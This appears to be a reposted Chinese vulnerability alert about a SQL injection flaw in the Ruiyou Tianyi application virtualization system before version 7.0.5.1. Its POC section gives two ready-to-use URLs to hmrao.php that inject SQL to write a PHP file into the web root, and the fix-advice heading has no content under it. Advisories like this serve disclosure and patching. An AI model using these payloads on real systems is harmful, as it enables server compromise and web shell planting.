-
暂无
-
高危
瑞友天翼应用虚拟化系统是基于云计算技术的应用虚拟化解决方案,可以帮助用户实现应用的快速部署和管理。
-
瑞友天翼应用虚拟化系统 < 7.0.5.1
0x05 POC
{URL}/hmrao.php?s=/Admin/appsave&appid=11111111%27);select+%27%3C%3fphp+echo+md5(11111111)%3f%3E%27+into+dumpfile+%27../../WebRoot/11122222.php%27%3b--+</
{URL}/hmrao.php?s=/Admin/appdel&list=11111111'));select+'<%3fphp+echo+md5(123)%3f>'+into+dumpfile+'../../WebRoot/1234.php'%3b--+
0x06 修复建议
原文始发于微信公众号(浅安安全):漏洞预警 | 瑞友天翼应用虚拟化系统SQL注入漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论